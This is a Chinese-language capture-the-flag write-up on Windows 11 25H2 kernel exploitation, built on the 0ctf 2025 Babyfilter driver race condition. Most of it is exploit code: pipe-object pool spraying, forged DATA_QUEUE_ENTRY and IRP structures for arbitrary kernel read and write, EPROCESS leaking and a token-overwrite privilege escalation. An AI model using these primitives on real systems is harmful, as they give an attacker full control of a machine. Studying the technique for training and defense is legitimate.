从 0ctf 2025 Babyfilter 学习 Windows 11下的内核利用原语
字数 1797
更新时间 2026-01-30 12:03:22

Windows 11 25H2 内核利用教学:基于Pipe原语的内核漏洞利用技术

1. Windows 11 25H2 内核利用环境变化

1.1 传统技术失效

在 Windows 11 25H2 环境下,传统的 NtQueryInformationSystem 等内核地址泄露技术已无法使用。过去的内核利用通常需要获取特定内核对象的地址,然后对该对象进行修改以提升权限。

1.2 新的利用思路

需要寻找在触发漏洞的场景中能够实现 WWW(Write-What-Where) 的利用手段。本文重点介绍使用 Windows Pipe 对象进行漏洞利用的技术。

2. Pipe 利用技术基础

2.1 利用条件

  • 能够创建命名 Pipe 对象的权限
  • 存在 UAF(Use-After-Free)或越界写漏洞

2.2 利用效果

  • 通过控制 Pipe 的 DQE(DATA_QUEUE_ENTRY)对象构造读写原语
  • 实现任意地址读/写能力

3. Pipe 对象内存结构分析

3.1 Pipe 创建与结构

命名管道创建时包含服务端和客户端:

// 服务端创建
ph->Write = CreateNamedPipeW(
    L"\\.\pipe\exploit_cng",
    PIPE_ACCESS_OUTBOUND | FILE_FLAG_OVERLAPPED,
    PIPE_TYPE_BYTE | PIPE_WAIT,
    PIPE_UNLIMITED_INSTANCES,
    quota, 0, 0, 0);

// 客户端连接
ph->Read = CreateFile(L"\\.\pipe\exploit_cng", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);

3.2 DATA_QUEUE_ENTRY 结构

struct DATA_QUEUE_ENTRY {
    LIST_ENTRY NextEntry;           // 链表指针
    _IRP* Irp;                      // IRP 指针
    _SECURITY_CLIENT_CONTEXT* SecurityContext;
    uint32_t EntryType;             // 条目类型
    uint32_t QuotaInEntry;          // 配额信息
    uint32_t DataSize;              // 数据大小
    uint32_t x;
    char Data[];                    // 数据区域
};

3.3 内存池大小计算

#define TARGET_CHUNK_SIZE 0x1000
#define SPRAY_SIZE (TARGET_CHUNK_SIZE - sizeof(DATA_QUEUE_ENTRY))

4. Pipe 条目类型分析

4.1 缓存对象(Buffered Entries)

  • 使用 CreateNamedPipeW + WriteFile 创建
  • 数据直接存放在 DQE 的 Data 字段中
  • 适用于常规数据传输

4.2 非缓存对象(Unbuffered Entries)

  • 使用 NtFsControlFile 创建
  • 数据存放在独立的 IRP 中
  • 适用于大文件或异步操作
NTFSCONTROLFILE NtFsControlFile = (NTFSCONTROLFILE)GetProcAddress(
    LoadLibrary(L"ntdll.dll"), "NtFsControlFile");
NtFsControlFile(pipes->Write, 0, 0, 0, &isb, 0x119FF8, 
    target_buffer, target_size, 0, 0);

5. IRP 关键结构分析

5.1 IRP 重要成员

struct _IRP {
    // ... 其他字段
    +0x018 AssociatedIrp;         // 关联的IRP(SystemBuffer)
    +0x020 ThreadListEntry;        // 线程链表
    +0x070 UserBuffer;             // 用户缓冲区
    // ... 其他字段
};

5.2 IRP 与线程关系

  • 每个 IRP 与发起线程(ETHREAD)绑定
  • ETHREAD 包含指向 KPROCESS 的指针
  • 形成完整的内核对象关系链

6. 利用原语构造

6.1 非分页池风水

  • 使用 Pipe 对象占据特定大小的非分页池
  • 通过精心布局控制内存分配模式

6.2 任意地址读原语

利用 PeekNamedPipe 和伪造的 DQE 实现任意读:

void ReadMem(HANDLE port, PIPE_HANDLES* pipes, uint64_t addr, 
             size_t len, unsigned char* data) {
    // 读取原始 DQE
    DATA_QUEUE_ENTRY dqe;
    ReadDataFromGMSG((unsigned char*)&dqe, sizeof(DATA_QUEUE_ENTRY));
    
    // 构造伪造的 IRP
    IRP fakeIRP = { 0 };
    fakeIRP.AssociatedIrp = (void*)addr;
    
    // 构造伪造的 DQE
    DATA_QUEUE_ENTRY fakeNP = dqe;
    fakeNP.Irp = (IRP*)&fakeIRP;
    fakeNP.EntryType = 1;  // 设置为非缓存对象
    fakeNP.SecurityContext = 0;
    fakeNP.QuotaInEntry = 0;
    fakeNP.DataSize = len;
    
    // 通过漏洞修改内核 DQE
    CallFilterComm(EDIT_BLOCK, sizeof(fakeNP), (unsigned char*)&fakeNP);
    
    // 触发读取
    DWORD dwLen = 0;
    PeekNamedPipe(pipes->Read, data, len, &dwLen, 0, 0);
    
    // 恢复原始 DQE
    CallFilterComm(EDIT_BLOCK, sizeof(dqe), (unsigned char*)&dqe);
}

6.3 关键地址泄露技术

6.3.1 获取真实 IRP

DWORD WINAPI CreateIRPThread(void* arg) {
    PIPE_HANDLES* victim_pipe = (PIPE_HANDLES*)arg;
    DWORD res;
    char buf[0x1000] = { 0 };
    memset(buf, 'Z', sizeof(buf));
    
    // 创建包含真实 IRP 的 Pipe 操作
    WriteFile(victim_pipe->Write, buf, 0x1000, &res, NULL);
    Sleep(-1);  // 保持线程不退出
    return 0;
}

6.3.2 泄露 EPROCESS

通过 IRP 的 ThreadListEntry 泄露 ETHREAD,进而获取 EPROCESS:

// 遍历 DQE 链表寻找包含 IRP 的条目
DATA_QUEUE_ENTRY* nowChunk = (DATA_QUEUE_ENTRY*)LeakBuf;
DATA_QUEUE_ENTRY nextChunk = { 0 };

ReadMem(g_hPort, &victim_pipes[dwIdx], nowChunk->Flink, 
        sizeof(DATA_QUEUE_ENTRY), (unsigned char*)&nextChunk);

// 获取 IRP 地址
printf("IRP address: %p\n", nextChunk.Irp);

6.4 任意地址写原语

6.4.1 伪造 IRP 结构

void PrepareWriteIRP(IRP* irp, PVOID thread_list, 
                     PVOID source_address, PVOID destination_address) {
    irp->Flags |= IRP_BUFFERED_IO | IRP_INPUT_OPERATION;
    irp->AssociatedIrp = source_address;     // 源地址
    irp->UserBuffer = destination_address;  // 目标地址
    
    // 维护线程链表完整性
    irp->ThreadListEntry.Flink = (LIST_ENTRY*)(thread_list);
    irp->ThreadListEntry.Blink = (LIST_ENTRY*)(thread_list);
}

6.4.2 实现任意写

void WriteMem(HANDLE port, PIPE_HANDLES* pipes, 
              unsigned char* irp_data, size_t irp_size,
              uint64_t src_addr, uint64_t dst_addr, size_t write_size) {
    
    // 读取真实 IRP 作为模板
    unsigned char IrpBuffer[0x100] = { 0 };
    ReadMem(port, pipes, irp_address, sizeof(IrpBuffer), IrpBuffer);
    
    // 准备伪造的 IRP
    uint64_t thread_list[2];
    PrepareWriteIRP((IRP*)fakeIrp, (void*)thread_list, 
                   (PVOID)src_addr, (PVOID)dst_addr);
    
    // 使用非缓存内存存放伪造的 IRP
    NtFsControlFile(pipes->Write, 0, 0, 0, &isb, 0x119FF8, 
                   fakeIrp, 0x1000, 0, 0);
    
    // 修改 DQE 指向伪造的 IRP
    DATA_QUEUE_ENTRY fakeDQE = originalDQE;
    fakeDQE.Irp = fakeIrp_address;
    fakeDQE.EntryType = 1;
    
    CallFilterComm(EDIT_BLOCK, sizeof(fakeDQE), (unsigned char*)&fakeDQE);
    
    // 触发写入操作
    ReadFile(pipes->Read, read_buffer, write_size, &bytes_read, NULL);
}

7. Babyfilter 实战分析

7.1 漏洞背景

Babyfilter 是一个 Minifilter 驱动,存在条件竞争漏洞,可用于内核利用学习。

7.2 漏洞原理

驱动使用全局结构体管理内存:

struct GLOBAL_CTX {
    UINT32 Size;
    UINT32 Flag; 
    PVOID Buffer;
};

通过多线程条件竞争实现 UAF:

  • 线程1:进入 EDIT 操作,保存 gCTX.Buffer
  • 线程2:执行 FREE 操作,释放 gCTX.Buffer
  • 线程1:继续执行,使用已释放的 Buffer

7.3 利用步骤

7.3.1 内存布局准备

// 创建大量 Pipe 对象进行池风水
for (int i = 0; i < VICTIM_PIPES_NUMBER; i++) {
    CreateMyPipe(&victim_pipes[i], 0x1000);
}

// 制造内存空洞
for (int i = VICTIM_PIPES_NUMBER-2; i < VICTIM_PIPES_NUMBER; i += 2) {
    CloseMyPipe(&victim_pipes[i]);
}

7.3.2 条件竞争触发

// 竞争线程函数
DWORD WINAPI edit_thread(LPVOID param) {
    while (!g_RaceDone) {
        if (g_CanEdit) {
            unsigned char edit_data[0x1000] = { 0x63 };
            CallFilterComm(EDIT_BLOCK, 0x1000, edit_data);
        }
    }
    return 0;
}

7.3.3 利用流程

  1. 通过条件竞争获得 UAF 控制权
  2. 使用 Pipe 对象占据释放的内存
  3. 构造读写原语泄露关键地址
  4. 修改 Token 提升权限

8. 高级技巧与注意事项

8.1 IRP 结构完整性

  • IRP 大小通常为 0xB8 字节
  • IRP 后紧跟 IO_STACK_LOCATION 结构
  • 伪造时需要保持结构完整性

8.2 线程链表维护

// 确保线程链表自引用
irp->ThreadListEntry.Flink->Blink == &irp->ThreadListEntry
irp->ThreadListEntry.Blink->Flink == &irp->ThreadListEntry

8.3 替代技术方案

除了 Pipe 技术,Windows 11 25H2 还可使用:

  • _WNF_STATE_DATA 相关利用技术
  • 其他内核对象喷射技术

9. 防御与检测

9.1 防御措施

  • 启用 VBS(Virtualization Based Security)
  • 配置驱动签名策略
  • 监控异常的内核内存访问

9.2 检测指标

  • 异常的 Pipe 对象创建模式
  • 非法的 IRP 操作
  • 异常的内核内存读写模式

10. 总结

本文详细介绍了在 Windows 11 25H2 环境下使用 Pipe 对象进行内核利用的完整技术体系。重点包括 Pipe 对象内存结构分析、利用原语构造、实际漏洞利用等关键技术点。这种技术在失去传统信息泄露 API 的现代 Windows 系统中具有重要价值。

 全屏